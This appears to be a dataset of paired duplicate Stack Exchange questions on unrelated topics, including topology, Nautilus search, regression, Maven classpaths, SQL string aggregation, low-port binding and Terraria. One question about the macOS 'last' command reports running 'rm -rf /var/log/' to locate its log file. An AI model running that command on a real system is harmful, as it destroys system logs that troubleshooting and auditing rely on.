Here's a portion of a render I'm working on, which is backlit from behind by a spotlight with a "Halo" effect applied:    If you look carefully in the background, you'll notice the halo effect is creating "rings" of shadow as it fades.  How can I remove these rings and make the halo effect fade out smoothly?  I've played around with all the settings I can find without any success.  Here's my current settings for the spotlight:


Is there any well-defined process to be followed in evaluating a candidate for manual testing?

Joel has his "", but that's really for programmers.   How should you go about interviewing testers?  We ask programmers to program on a whiteboard; how you can you ask testers to test in an interview, in a way that tells you something useful about them?


Suppose $U$, $V$ and $W$ are connected topological spaces. Is it possible for $U \times V$ and $U \times W$ to be homeomorphic but for $V$ and $W$ not to be? It seems like it should not always be true but I am unable to find a counterexample.

I was wondering whether $M\times \mathbb{R}$ is homeomorphic to $N\times \mathbb{R}$ implies $M$ is homeomorphic to $N$, where let us say $M,N$ are smooth manifolds. (They are certainly homotopy equivalent.) More generally what if $\mathbb{R}$ is replaced by some other manifold say $\Sigma$? Any possible approach/idea?


There is too much thinset in between my mosaic shower floor tiles (in some spots it looks like grout). What do I do before grouting?

I'm just getting ready to lay down the grout after successfully tiling our master bathroom. I've been told in no uncertain terms that I must remove the spacers between tiles (or else grouting over them can result in cracking of the grout). That makes sense -- however, I'm also reading on the box that I should "clean the grout joints". They show a tool that appears to be scraping excess mortar from the joints.  Do I need to be worried about scraping down the hardened mortar so that the joints can be completely filled with grout or are they talking about simply removing any loose mortar? Although none of my joints have mortar that rises above the grout, many of the tiles have some sections where the mortar is higher than others. I'm reading elsewhere that it's ideal to get rid of all excess mortar between tiles before it hardens (whoops).  How important is this?  Update:  As of September, 2011, it's been 9 months since I completed this job and things have been solid. I scraped only the areas that were high (close to or slightly above the tile). From this purely anecdotal evidence, it seems logical to conclude that it isn't necessary to be too much of a purist about clearing out all mortar between tiles before laying down your grout.  Update 2:  As of April, 2012 I've found only one tile that may have a slight issue. On one of the center tiles that gets a lot of traffic, I must not have put down a perfectly smooth layer underneath because I can hear an occasional slight shift. The joints along the edge still look great though.


Question -   Find all $f : \mathbb{R} \to\mathbb{R}$ such that   $f(x+y)=f(x)f(y)f(xy)$ for all $x,y \in \mathbb{R}$.  My try -   Putting $x=y=0$ I get three cases $f(0)=0$,$f(0)=1$,$f(0)=-1$  For $f(0)=0$ we get by putting $y=0$ in equation, $f(x)=0$ for all $x$ ...I guess other two solutions are $f(x)=1$ and $-1$ but not able to prove it using induction on there corresponding values of $f(0)$...  Any hints ?

Find all continuous functions such that $f(x+y) = f(x)f(y)f(xy)$   I solved it and got the two very obvious solutions, $f(x) = 0$ and $f(x) = 1$. Any other such functions?


I was looking at the list of new meta members for IPS.SE and I came across a user UID  looking at the profile you can see their reputation is exactly 189.  But, if we go their main profile  you can see something abnormal is going on, their reputation is 1 and the user has no activity.  This is different from  – this is not about Your Communities at all, it's about another user.

-> 683  -> 678  ???  (Doesn't really bother me too much but figured I'd report the bug...)


I've upgraded from 16.04 to 18.04 and I am dissatisfied with the search feature in Nautilus. Previousyly, I could press a letter to jump to a folder that starts with this letter and enter it right away but now, in my opinion it's completely ruined. What happens now is that a search field pops up and it filters all items that start with this letter and shows only the found items. It takes a massive amount of time. For example, previously I could press "w" in my folder and it would jump and highlight the first folder/item that starts with "w" and right now it takes a massive amount of time to search for items starting with "w" and filter them. This made my install Double Commander that has this feature. I will never use Nautiuls again.

Until now I was using a "traditional" version of Nautilus: that that comes with Ubuntu 10.10. Now I'm using 3.6.3, included with Ubuntu 13.04 (most likely any recent version is equivalent for the scope of my question, anyway).  One major difference between the two is the search-as-you-type behavior: in classic versions of Nautilus, when you typed an input, the file with the closest alphabetical match would become the selected one, the eligible files/folders being restricted to the current directory.  The new behavior is to perform an optionally-global search instead.  Can one configure Nautilus to provide the previous functionality ?


Intuitively, I can't really wrap my head around this. If I regress y on x and the beta is less that one, shouldn't the beta from a regression of x on y be greater than one. Mathematically, I know the relationship:  i.e. beta = cov(x,y)/var(x)   so that as long as var(y) and var(x) are greater than cov(x,y), both betas will be less than one. But intuitively, this doesn't seem to make sense to me. The context I'm looking that is in stock returns. If I get a beta of less than 1, doesn't that mean the stock that is the independent variable is less volatile than the dependent? And if that's the case should the inverse regression yield a beta greater than one?  What am I missing? Is there an easy way to conceptualize this?

The Pearson correlation coefficient of x and y is the same, whether you compute pearson(x, y) or pearson(y, x). This suggests that doing a linear regression of y given x or x given y should be the same, but I don't think that's the case.   Can someone shed light on when the relationship is not symmetric, and how that relates to the Pearson correlation coefficient (which I always think of as summarizing the best fit line)?


We recently started with measure theory in my Analysis class and I got stuck trying to solve the following exercise:  Show that Lebesgue $\sigma$-algebra on $\Bbb R$ has the same cardinality as $\mathcal{P}(\Bbb R)$. There is also a tip, suggesting that I should have a look at subsets of $\mathcal{C}$ (standard Cantor set on unit interval).  Using the tip I believe I should look for bijection between $\mathcal{C}$ and $\mathcal{P}(\Bbb R)$. Since both of those sets are uncountable, how can I come up with such bijection? Also to be honest, I do not fully get the argument why is it sufficient to search for bijection between $\mathcal{C}$ and $\mathcal{P}(\Bbb R)$ instead of bijection between Lebesgue $\sigma$-algebra on $\Bbb R$ and $\mathcal{P}(\Bbb R)$.  Any tip\solution would be greatly appreciated. Thanks for the help in advance!

Suppose $A=\{S\;|\;S \subset \mathbb R^n, S\text{ is Lebesgue measurable}\}$. What is the cardinality of $A$? Is it the same as the cardinality of all of the real numbers?


When trying to open nautilus (from the  or from the  pressing on ), it does not open, and the desktop aren't responding.  The output of nautilus -q (without sudo):  (nautilus:12039): GLib-GIO-CRITICAL **: g_dbus_interface_skeleton_unexport: assertion 'interface_->priv->connections != NULL' failed (nautilus:12039): GLib-GIO-CRITICAL **: g_dbus_interface_skeleton_unexport: assertion 'interface_->priv->connections != NULL' failed Could not register the application: Timeout was reached (nautilus:12039): Gtk-CRITICAL **: gtk_icon_theme_get_for_screen: assertion 'GDK_IS_SCREEN (screen)' failed (nautilus:12039): GLib-GObject-WARNING **: invalid (NULL) pointer instance (nautilus:12039): GLib-GObject-CRITICAL **: g_signal_connect_object: assertion 'G_TYPE_CHECK_INSTANCE (instance)' failed   If i use gksu nautilus it opens but with an error:  (nautilus:18320): GLib-GIO-CRITICAL **: g_dbus_interface_skeleton_unexport: assertion 'interface_->priv->connections != NULL' failed   Currently fixing this issue by restart my PC or by restart nautilus:  sudo killall nautilus && (nautilus &)   But is just a temporary fix.    This bug has been reported here:

When I launch nautilus from terminal the following error is printed and nautilus doesn't open up.  (nautilus:25179): GLib-GIO-CRITICAL **: g_dbus_interface_skeleton_unexport: assertion 'interface_->priv->connections != NULL' failed  (nautilus:25179): GLib-GIO-CRITICAL **: g_dbus_interface_skeleton_unexport: assertion 'interface_->priv->connections != NULL' failed Could not register the application: Timeout was reached  (nautilus:25179): Gtk-CRITICAL **: gtk_icon_theme_get_for_screen: assertion 'GDK_IS_SCREEN (screen)' failed  (nautilus:25179): GLib-GObject-WARNING **: invalid (NULL) pointer instance  (nautilus:25179): GLib-GObject-CRITICAL **: g_signal_connect_object: assertion 'G_TYPE_CHECK_INSTANCE (instance)' failed   What could be the problem??


I have just installed the Stack Exchange app for Android. It looks pretty good so far. But what would be really great is possibility to bookmark questions for a later review.  I noticed a "favorite" button near a question, so this would work as a bookmarking, but currently I can't review favorite questions in the app.

I haven't been able to find my favorite questions in the official Stack Exchange Android app.  Looking at my accounts page gives nothing on them.


For reasons beyond my comprehension, GlassFish refuses to play ball with iptables. That is, with all the correct redirection rules in place, it won't receive any redirected traffic. So I'm at plan B which is to bind GlassFish to ports 80 and 443 rather than 8080 and 8181.  As I don't want to run GlassFish as root for security reasons, I need to grant the user account that is running it with sufficient privileges to bind to ports 80 and 443. From a security point of view, it's not risky because iptables is blocking all the other ports.  In Centos 6.4, what command(s) do I execute to allow a specified non-root user to directly listen to ports < 1024?  Please don't suggest drastic solutions that involve downloading (and compiling) stuff from random locations. I need something reproducible, so if any dependencies need to be brought in, they need to come from Centos's package repository.

I would like to run applications I'm working on that binds to port numbers less than 1000 without requiring root access.   I'm using Linux Mint and have root access to set it up. I would ideally like to be able to do it over SSH.  Also happy hear if it isn't possible or I shouldn't be doing it, if that is the case.  EDIT: Mostly I'm happy to use higher port numbers for development, but Flash is expecting a socket policy on port 843. Currently I have to run the app as root and therefore I can't run it from my Makefile which is a PITA.


I get a   Exception in thread "main" java.lang.NoClassDefFoundError: org/apache/commons/codec/binary/Hex   when i execute my code.   I have looked through a number of examples on this exception on stack overflow but nothing seems to help. My pom.xml looks like this  <dependency>   <groupId>commons-codec</groupId>   <artifactId>commons-codec</artifactId>   <version>1.10</version> </dependency> <dependency>   <groupId>junit</groupId>   <artifactId>junit</artifactId>   <version>3.8.1</version>   <scope>test</scope> </dependency>   </dependencies>   <build>     <pluginManagement>       <plugins>         <plugin>           <groupId>org.apache.maven.plugins</groupId>           <artifactId>maven-shade-plugin</artifactId>           <version>2.4.3</version>           <executions>             <execution>               <phase>package</phase>               <goals>                 <goal>shade</goal>               </goals>             </execution>           </executions>         </plugin>          <plugin>           <groupId>org.apache.maven.plugins</groupId>           <artifactId>maven-compiler-plugin</artifactId>           <version>3.0</version>         </plugin>         <plugin>           <groupId>org.apache.maven.plugins</groupId>           <artifactId>maven-surefire-plugin</artifactId>           <version>2.12.4</version>         </plugin>       </plugins>     </pluginManagement>      <plugins>       <plugin>         <artifactId>maven-compiler-plugin</artifactId>         <configuration>           <source>1.8</source>           <target>1.8</target>         </configuration>       </plugin>     </plugins>   </build>   Code to reproduce it looks like this  package com.mypackage; import java.util.*; import java.io.*; import java.security.*; import org.apache.commons.codec.binary.Hex;  public class Test{     private byte[] m_key;   private static String resourceFolder = System.getenv("SEABED_HOME").toString() +  "/testing" + "/resources"; public static void main(String[] args) { Test t = new Test(); t.readKey(); }     public byte[] generateKey()   {     SecureRandom scr = new SecureRandom();     byte[] key = new byte[32];     scr.nextBytes(key);     return key;   }    private void readKey()   {      BufferedReader br = null;     try{       br = new BufferedReader(new FileReader(resourceFolder + "/.seabedkey"));       m_key = Hex.decodeHex(br.readLine().toCharArray());     }     catch(Exception e)     {        if(e instanceof FileNotFoundException)       {         System.out.println("Key not found, generating now");         writeKey(generateKey());         readKey();         return;       }       e.printStackTrace();     }     finally     {       if(br != null)       {         try         {           br.close();         }         catch(IOException e)         {           e.printStackTrace();         }       }     }    }    private void writeKey(byte[] key)   {     try{       FileOutputStream fos = new FileOutputStream(resourceFolder + "/.seabedkey");       fos.write(key);       fos.close();     }     catch(Exception e)     {       e.printStackTrace();     }   } }   I execute it like this  java -cp target/mypackage-1.0-SNAPSHOT.jar:~/.m2/repository/commons-codec/commons-codec/1.10/commons-codec-1.10.jar com.mypackage.Test   It compiles but then at runtime it looks like the class cannot be found. I tried changing the scope of the dependency to provided but apparently that is not the right way to use it so I switched back to the default which is compile. I can find the jar in my .m2 folder so I am sure it is there.

Is there a way to include all the jar files within a directory in the classpath?  I'm trying java -classpath lib/*.jar:. my.package.Program and it is not able to find class files that are certainly in those jars.  Do I need to add each jar file to the classpath separately?


How could I train a potential neural network if there are multiple possible outputs?  For a simple example, if I'm trying to make a neural network that can find a valid solution to a quadratic equation, there could be 0, 1, or 2 correct answers. I want the network to be able to output all of the correct answers. Is this possible? If so, what techniques exist?

For a given input into the input nodes, there are multiple correct values for the output nodes. In the training set, there are times when the inputs result in a certain output, and other times when the inputs result in a completely different (but equally valid) output.  Will a neural network still be able to "figure out" a pattern? From what I know about backpropagation, it seems like the different right answers would prevent it from functioning properly. If that's so, are there any solutions?  I don't need the neural network to predict all possible correct solutions, but I do need it to output a correct solution.


I understand that both an HMAC and digital signature are used to check the integrity and authenticity of a message. Further, I understand that a digital signature is non-repudiatible.   What I do not understand is when to use an HMAC vs a digital signature, in practice. I appreciate the help!

A message may be accompanied with a digital signature, a MAC or a message hash, as a proof of some kind.  Which assurances does each primitive provide to the recipient?  What kind of keys are needed?


I have a query that uses a couple joins to get a name from another table.  It works okay except that I would like to combine "Examiners Name" instead of having multiple duplicates:  ID    |  Name       | Examiners Name 1290  | Jun         | Aron 1290  | Jun         | Mark 1292  | Takahiro    | Didier 1292  | Takahiro    | Eiro 1292  | Takahiro    | Kurt    What I am looking for:  ID    |  Name       | Examiners Name 1290  | Jun         | Aron, Mark 1292  | Takahiro    | Didier, Eiro, Kurt   Here is my query:  SELECT DISTINCT usr.CandidateID, usr.FirstName, Examiner.FirstName AS [Examiners Name] FROM dbo.tbl_User AS usr LEFT JOIN dbo.Tbl_ExaminerCandidates AS ExamCa ON usr.UserID = ExamCa.CandidateID LEFT JOIN dbo.tbl_User AS Examiner ON ExamCa.ExaminerID = Examiner.UserID WHERE usr.CandidateID IS NOT NULL AND usr.IsActive = 1 AND usr.UserStatus = 1   I have been looking around but I cannot find a way to do this. I am using SQL Server 2008.

I have this code:  DECLARE @MyTable AS TABLE (    [Month] INT,    Salary INT );  INSERT INTO @MyTable VALUES (1,2000), (1,3100);  SELECT [Month], Salary FROM @MyTable;   Output:    I want to concat the Salary (grouping by month) so that it will be NVARCHAR like this: '2000,3100'  How would I do this efficiently?


I need to calculate the average and standard deviation of a population. However, I only have the information of sample means and standard deviations.  To be more precise, I have a vector of means $\bar{\mathbf{x}}=(\bar{x}_1, \bar{x}_2, \ldots, \bar{x}_N)$ with corresponding vector $\mathbf{n}=(n_1, n_2, \ldots, n_N)$ of sample sizes and a vector of standard deviations $\mathbf{s}=(s_1, s_2, \ldots, s_N)$. I need to compute the overall average and standard deviation.  To obtain the overall mean, I calculated it using the formula $$\bar{x}=\dfrac{\sum_{i=1}^N\bar{x}_in_i}{\sum_{i=1}^Nn_i}.$$ Whereas, for the overall standard deviation, I can compute it from the overall deviation $$Var=\frac{1}{n−1}\left(\sum_{j=1}^N(n_j−1)V_j+\sum_{j=1}^Nn_j(\bar{x}_j−\bar{x})^2\right)\,\;,$$ where $V_j$ is the deviation of the of the $j-$th sample.   Is there a way that I could compute these values in a "online" /  "streaming way" (e.g., when the vectors are infinite) using only the aforementioned vectors?  Thanks in advance  Note that this question can be seem as complement to:   https://stats.stackexchange.com/questions/216047/how-does-one-go-about-determining-the-standard-deviation-of-an-entire-sample-dat, where the above formula for deviation is presented and https://stats.stackexchange.com/questions/72212/updating-variance-of-a-dataset, where the mean and deviation are update at each new observation. In my case, I do not have access to the observations.

I have frequently been faced with analyzing csv files that are limited in length to approximately 32,000 records in length (overflows at 32,768, from signed integer limits on a 16 bit wide data bus).  As a result, I have often had data that spans several hundred files, each containing up to the 32,000 records. Even this 32,000 record file length is variable and random, owing to an automated data collection process whose collection will halt if the process being monitored should stop.   Here is the issue -- I can very easily open these two-hundred plus files completely algorithmically and sequentially determine how many data points they contain and some desired summary statitistics. The typical statitistics of interest are the sample size, mean, and standard deviation.  Armed with these two-hundred-some-odd summary stats, I wish to extrapolate the mean and standard deviation of the entire sample population collected (up to 200+ times 32,000max). It seems to me that some moments about a mean are somehow involved in that the standard deviation of a hypothetical subset of say 16,000 data points will carry less weight (and therefore have less influence on determining the overall standard deviation), than a data set of 32,000 for example. For that reason, I suspect that variances of each subset somehow play a roll in this, or that a root-mean-square procedure will be able to reconstitute these summary statitistics in a meaningful way to further weight them in deriving the mean and standard deviation of the entire sample set. Your assistance is appreciated.


Basically, I have the following array (or JSON):  apps = {     app1:     [         "ci-extension",         "Unnamed",         "
Hello world!
"     ],     app2:     [         "ci-extension",         "Another one!",         "Cool!"     ], }   Is there any way to determine how many children does the array have? E.g. in this case the answer is 2: app1 & app2. And if we add one more object "application" the answer will be 3. I tried the following:  apps.length //returns "undefined"  for (i = 0; apps[i] != undefined; i++) {     console.log(apps[i]);     //also returns "undefined"     //I am later gonna use also the values in the child, so I stored all the children to a new array     meta.push(apps[i]); //"meta" here is another vriable with an array in it }   (if this makes any sense) I expected the for to return something like this:     app1   app2application (if you count the new object we added)       And the value of meta to be ["app1", "app2", "application"].   My mind got totally obfuscated. I've got no idea where and what I am doing wrong, so any help would be highly appreciated. Thanks in advance!  EDIT: If there is some way to push() elements into apps I will kindly ask you to light me up. Thanks again!

What's the fastest way to count the number of keys/properties of an object?  It it possible to do this without iterating over the object?  i.e. without doing  var count = 0; for (k in myobj) if (myobj.hasOwnProperty(k)) count++;   (Firefox did provide a magic __count__ property, but this was removed somewhere around version 4.)


The Standard Model of elementary particles is a gauge theory with gauge group $SU(3)\times SU(2)\times U(1)$, which is really a successful theory.   We might be able to quantize gravity similarly. Gravity might be treated as a force, instead of spacetime curve as in general relativity. I know little about gauged gravity theory. What is the current status? Who are working on it? Is it really worthwhile to pursue now?

Currently, (classical) gravity (General Relativity) is NOT a gauge theory (at least in the sense of a Yang-Mills theory).   Why should "classical" gravity be some (non-trivial or "special" or extended) gauge theory? Should quantum gravity be a gauge theory?  Remark: There are some contradictory claims in the literature to this issue. To what extent gravity is "a gauge" theory?Obviously, GR is not a YM theory. So, why do some people say that gravity "IS" a gauge theory? I found this question relevant, e.g., then we handle GR in the Einstein-Cartan theory or any other theory beyond GR, like teleparallel theories or higher-derivative gravitational theories. So I think it could be useful to discuss the "gauge flavor" of gravity here.


I need to use method like:  DoSomething<(T)>();   But i don't know which Type i have, only object of class Type. How can i call this method if I have only:  Type typeOfGeneric;

What's the best way to call a generic method when the type parameter isn't known at compile time, but instead is obtained dynamically at runtime?  Consider the following sample code - inside the Example() method, what's the most concise way to invoke GenericMethod<T>() using the Type stored in the myType variable?  public class Sample {     public void Example(string typeName)     {         Type myType = FindType(typeName);          // What goes here to call GenericMethod<T>()?         GenericMethod<myType>(); // This doesn't work          // What changes to call StaticMethod<T>()?         Sample.StaticMethod<myType>(); // This also doesn't work     }      public void GenericMethod<T>()     {         // ...     }      public static void StaticMethod<T>()     {         //...     } }


Below is an example (Example 1, p.137) from Munkres' book Topology.     Let $X$ be the subspace $[0,1] \cup [2,3]$ of $\mathbb{R}$, and let $Y$ be the subspace $[0,2]$ of $\mathbb{R}$. The map $p:X \to Y $ defined by   $$p(x) =  \begin{cases}  x, & \text{for }x\in [0,1] \\  x-1, & \text{for }x\in [2,3] \end{cases}$$   is readily seen to be surjective, continuous and closed.   It is clear to me that $p$ is surjective and continuous, but I cannot not see "readily" why $p$ is closed.  To show $p$ is closed, I let $U$ be a closed subset of $X$ and tried to show $p(U)$ is closed in $Y$, but I am not sure how to proceed.   How can I see/prove that $p$ is closed?

Let $X$ be the subspace $[0,1] \cup [2,3]$ of $\mathbb{R}$, and let $Y$ be the subspace $[0,2]$ of $\mathbb{R}$. The map $p \colon X \to Y$ defined by  $$ p(x) \colon=  \begin{cases} x \ &\mbox{ for } \ x \in [0,1], \\ x-1 &\mbox{ for } \ x \in [2,3]  \end{cases}  $$ is surjective and continuous. This much is clear to me.   But Munkres asserts that this map is also a closed (and hence a quotient) map. How to verify this?   Now if $A$ is the subspace $[0,1) \cup [2,3]$ of $X$, then the map $q \colon A \to Y$ obtained by restricting $p$ is continuous and surjective. Alright!   Now what stumps me is the following assertion by Munkres:   The set $[2,3]$ is saturated with respect to $q$. How to show this?


I do not know much about quantum physics. However, I do know it believes the world is discrete ( has quanta). This seems to contradicts the fact that we can create an object of length root 2 since you can not choose a quanta for an object of root 2 such that the total length sums to root 2. Does quantum physics agree with the fact that root 2 is constructable?

On a quantum scale the smallest unit is the , which is a discrete measure.  There several question that come to mind:   Does that mean that particles can only live in a discrete grid-like structure,  i.e. have to "magically" jump from one pocket to the next? But where are they in between? Does that even give rise to the old paradox that movement as such is impossible (e.g. )? Does the same hold true  for time (i.e. that it is discrete) - with all the ensuing paradoxes? Mathematically does it mean that you have to use difference equations instead of differential equations? (And sums instead of integrals?) From the point of view of the space metric do you have to use a discrete metric (e.g. the ) instead of good old Pythagoras?   Thank you for giving me some answers and/or references where I can turn to.  Update: I just saw this call for papers - it seems to be quite a topic after all: Is Reality Digital or Analog? FQXi Essay Contest, 2011. , , . One can find some pretty amazing papers over there.


I don't know what the hell happened with my laptop but it just keeps on typing number 6 itself. I tried to disable the key with KeyTweak and many other apps but it didn't worked. I can't type anything properly.  Does anyone know how to fix this?

The keyboard on my laptop seems to be typing by itself:   It sometimes types characters like 134, whether by itself or when I hit certain keys. Repeating characters may appear unexpectedly. The system volume may change by itself, or windows like the Print dialog or Web browser may appear.   This can happen without any input or as I type, and may occur more often when certain keys are pressed. Sometimes, the keyboard fails to respond altogether. This is happening regardless of the software involved.  Is there a ghost in my keyboard—is my keyboard broken?  A sample of text from the keyboard might look like this (normal QWERTY...ASDF...ZXC... sequence is expected):   QWERTYUIOPASDF)(G@*HKLZXCVBN QWERTYIOPASDFGL!#ZXCVB13 QWERTYUIOPASDFGHJKLZXCVB!#N qwertyu41iopasdf19g13h28j113k4113zxcvb4n qwerty4u1iopasdf0g7h1jklzxcvb13m qwert13uuuuuuuuuuuuuuuiopasdf87091134ghhhhhhhhhhhhhhhhhhhhhhh13jk13zxcvb14      This question comes up often and the answers are usually the same. This post is meant to provide a definitive, canonical answer for this problem. Feel free to edit the answer to add additional details.


I have a StressTester class like this:  public abstract class StressTest {   public static final int WARMUP_JIT_COMPILER = 10000;    public interface TimedAction {     void doAction();   }    public static long timeAction(int numberOfTimes, TimedAction action) {     ThreadMXBean bean = ManagementFactory.getThreadMXBean();     for (int i = 0; i < WARMUP_JIT_COMPILER; i++) {       action.doAction();     }     long currentTime = bean.getCurrentThreadCpuTime();     for (int i = 0; i < numberOfTimes; i++) {       action.doAction();     }     return (bean.getCurrentThreadCpuTime() - currentTime)/1000000;   } }   And a main method looks something like this:  private static boolean isPrime1(int n) { ... } private static boolean isPrime2(int n) { ... } private static boolean isPrime3(int n) { ... } private static boolean isPrime4(int n) { ... }  private static final int NUMBER_OF_RUNS = 1000000;  public static void main(String[] args) {   long primeNumberFinderTime1 = StressTest.timeAction(NUMBER_OF_RUNS, () -> {     for (int i = 0; i < 100; i++) {       isPrime1(i);     }   });   long primeNumberFinderTime2 = StressTest.timeAction(NUMBER_OF_RUNS, () -> {     for (int i = 0; i < 100; i++) {       isPrime2(i);     }   });   long primeNumberFinderTime3 = StressTest.timeAction(NUMBER_OF_RUNS, () -> {     for (int i = 0; i < 100; i++) {       isPrime3(i);     }   });   long primeNumberFinderTime4 = StressTest.timeAction(NUMBER_OF_RUNS, () -> {     for (int i = 0; i < 100; i++) {       isPrime4(i);     }   }); }   When I have it set up like that then the results are pretty much as expected, and I can swap the tests and the results swap as expected. isPrime3 is about 200 times faster than isPrime1.  My real code is a bit more complex. I have several classes that find prime numbers like this:  class PrimeNumberFinder1 {   @Override   bool isPrime(i) { /* same code as in static isPrime1() */ }; }  class PrimeNumberFinder2 extends PrimeNumberFinder1 {   @Override   bool isPrime(i) { /* same code as in static isPrime2() */ }; }  class PrimeNumberFinder3 extends PrimeNumberFinder1 {   @Override   bool isPrime(i) { /* same code as in static isPrime3() */ }; }  class PrimeNumberFinder4 extends PrimeNumberFinder1 {   @Override   bool isPrime(i) { /* same code as in static isPrime4() */ }; }   And I have a class like this:  class SomeClassWithPrimeNumberFinder {   PrimeNumberFinder1 _pnf;    void setPrimeNumberFinder(PrimeNumberFinder1 pnf) {     _pnf = pnf;   }    void stressTest() {     StressTest.doAction(10000000, () -> {       for (int i = 0; i < 100; i++) {         _pnf.isPrime(i);       }     });   } }   And my main method:  public static void main(String() args) {   SomeClassWithPrimeNumberFinder sc = new SomeClassWithPrimeNumberFinder();   sc.setPrimeNumberFinder(new PrimeNumberFinder1());   sc.stressTest();   sc.setPrimeNumberFinder(new PrimeNumberFinder2());   sc.stressTest();   sc.setPrimeNumberFinder(new PrimeNumberFinder3());   sc.stressTest();   sc.setPrimeNumberFinder(new PrimeNumberFinder4());   sc.stressTest(); }   With this setup PrimeNumberFind1 is about as fast as isPrime1() in the first test. But PrimeNumberFind3 is about 200 times slower than isPrime3() in the first test.  If I move PrimeNumberFind3 so it runs first, I get the same times as isPrime3() in the first test. The rest of the times are a bit slower too (5-10%), but nothing like PrimeNumberFind3.  The first 3 PrimeNumberFind's are just loops and ifs. No state involved. The last one has a constructor that creates a lookup list, but is just a simple loop as well. If I take the code out of the constructor and create the lookup list with an array literal, the timing is identical.  Any ideas why this is happening?

How do you write (and run) a correct micro-benchmark in Java?  I'm looking for some code samples and comments illustrating various things to think about.  Example: Should the benchmark measure time/iteration or iterations/time, and why?  Related:


I am building a computer and have a 1 TB hard drive and a 250GB SSD. I would like to install both OS on the SSD and have them both be able to access the HD. Would it work to install both on the SSD and just partition the HD in half?   How should I dual-boot Windows 8.1 and Ubuntu on two storage devices?

I have a PC with an OEM install of Win 8 updated to 8.1.  It has 3 physical hard drives in it.  The drive where Windows is installed has a LOT of partitions on it already.    Can I install Ubuntu on a different physical hard drive than Windows, and be able to dual-boot?  I am able to boot to a live USB of Ubuntu 14.04, so I think I'm about ready to proceed.  But if I can make my installation easier by using a different physical drive, I'd like to do that.


How to get first 5 characters from string using php  $myStr = "HelloWordl";   result should be like this  $result = "Hello";

I am looking for a way to pull the first 100 characters from a string variable to put in another variable for printing.    Is there a function that can do this easily?  For example:  $string1 = "I am looking for a way to pull the first 100 characters from a string variable to put in another variable for printing."; $string2 = 100charfunction($string1); print $string2   To get:  I am looking for a way to pull the first 100 characters from a string vari


I've been playing Terraria for exactly one week now.  I've beaten: Eye of Cthulhu, Eater of Worlds, King Slime, and Skeletron. I use a full set of , , , and an . I use the , , , , and .    I need help on killing the .  I've tried building a hell bridge but every time he spawns backwards, so I have to fly over lava which usually kills me. I play on Xbox 360.

I've been having trouble defeating this monster. Even with lots of buff potions, health potions, high tier armor (Molten), and ranged weapons with plenty of ammo (Minishark), I can't seem to kill this boss.  Worse, when I get it down to about 2000 hp, even if I'm fairly far away, it'll suck me in and continually rise towards the skybox, which doesn't allow me to do anything for some reason.  How do I defeat the Wall of Flesh? What gear should I be using and what kind of potions do I need?


Despite what I thought, there does not seem to be any concrete/modern answer on the net, so my question is: where does the last command get its information from? I have found the file before, but months ago, and I can not remember where it is. So what is the directory of the file where last keeps its log?  EDIT  This is technically the same as , except for one thing: "/private/var/log/com.apple.launchd" DOES NOT EXIST on my mac (perhaps it was pre-El Capitan-only) as proven by the fact that  ls /private/var/log | grep "com.apple.launchd"   returns nothing. com.apple.xpc.launchd does exist, but is empty. So please reopen the question, as something is different

The bash command last (needs sudo) prints out logs, which contain information on when different users log in/out of the shell.  I have been looking for the file that stores this information, that last would access. I have checked /var/log/system.log and other files within /var/log.  I have looked everywhere on the internet as well, and cannot find the location.  I have, however, confirmed that the file is within /var/log, because when I did rm -rf /var/log/, sudo last showed empty output until the next time I logged in.  Which file is it? Thanks.  (I am using OS X Mavericks if it makes a difference.)


How to customize the spacing between two items within \begin{itemize} and \end{itemize}, without every time putting for eg. say,  \vspace{3mm} ? Thank you.

I'd like to modify the spacing between items in the itemize environment.   post shows how to modify a specific itemize environment (\addtolength{\itemsep}{0.5\baselineskip}).  However, I'd like to do it globally for the entire document.   post suggests the enumitem package.  However, I get an error in beamer when i use this package (just declaring it).  Any suggestions?  I'm currently using the addtolength method on all my itemize environments.  I'd like a global solution.  Thanks.


I have a silly question. As we all know earth is rotates at a speed of 460 m per sec. So if I  throw a ball in the air for 10 sec than the ball must fall 4600 m away from me but these does not happen in real life. Why?

I know there are similar questions on StackExchange but I think it is different and detailed.  The earth is spinning 465 meters/second so why don't we jump and land on a different location?  I googled about this question and I got some answers:   When we jump, we (and the atmosphere itself) also spin along with the earth so we don't land at a different location. (But why we are also spinning along with earth ?) The earth is so big and we are very small relative to earth so the tiny jump won't make any difference.   But according to answer 1, We are also spinning with the earth. But the question is, "why are we also spinning along with earth" ??  Regarding the answer 2, it won't make any difference but logically it doesn't make sense or I just don't understand it.  Here is the followup question,   "When we jump why don't we thrown out of earth due to centrifugal force of the spinning earth ??"  Please provide some detailed answer to these questions. With logic if possible.   This phenomenon is not possible I know, but even if it exists, then traveling will be so easy, we just have to hang on space (with help of helicopter etc.. ) and we can travel the whole world in 24 hours :D


I am using an Xenial Xerus minimal Ubuntu install.  I want a command ("antimicro") to be run on boot/login (doesn't matter) to map my Bluetooth controller buttons to keyboard keys. The farthest I could get is:  DISPLAY=":0" antimicro --hidden   Which does not work as a cron job, gdm postlogin commands or ~/.profile (gdm and Kodi not running), it seems to require a logged in terminal. It worked well when I execute it manually on tty1, it will display log and "occupies" the terminal until the application is closed.  I don't mind turning on auto login or disabling password etc. It's a HTPC running Kodi, and that's why I want it to be run automatically on each boot.  I am quite new on Linux and this may just be a stupid question, sorry if that's the case. I have tried my best to find information online.  EDIT: it's probably not a duplicate, none of the solutions worked.

I need to run the following command (with real parameters) after login:  ssh -f user@example.com -L 54321:example.com:54321 -N   I need it only for my user, not all users on the machine. Also, I need it to run whether I login via the GUI or via SSH to a plain shell terminal. I would even like to know how to do this on machines without a GUI installed.  Where would I put the above line to be run as explained?


How does one prove that $n^2 (n^4 - 1)$ is divisible by 60 for any positive integer $n$? I tried mathematical induction method without success so far.

Base step:  p(2)=4 * 15= 60  Inductive Hypothesis: Assuming p(k) = $k^2(k^4-1)$ = 60q  Induction:  p(k+1)= $(k+1)^2[(k+1)^4-1]$       = $(k+1)^2[(k+1)^2 + 1][(k+1)^2 - 1]$       = $(k+1)^2(k^2+2k+2)(k^2+2k+1- 1)$       = $(k+1)^2(k^2+2k+2) k (k+2)$       = $k(k+1)(k+2)(k^2+2k+2)(k+1)$  Now $k(k+1)(k+2)$ is the product of 3 consecutive natural numbers. Their product HAS to be a multiple of 2 and 3 and hence also a multiple of 6. So all that I have to do is prove that $(k^2+2k+2)(k+1)$ is a multiple of 10. But I can't seem to do so. Also through my induction, I have not at all made use of my hypothesis! How do I go about solving this question through the Principle of Mathematical Induction?


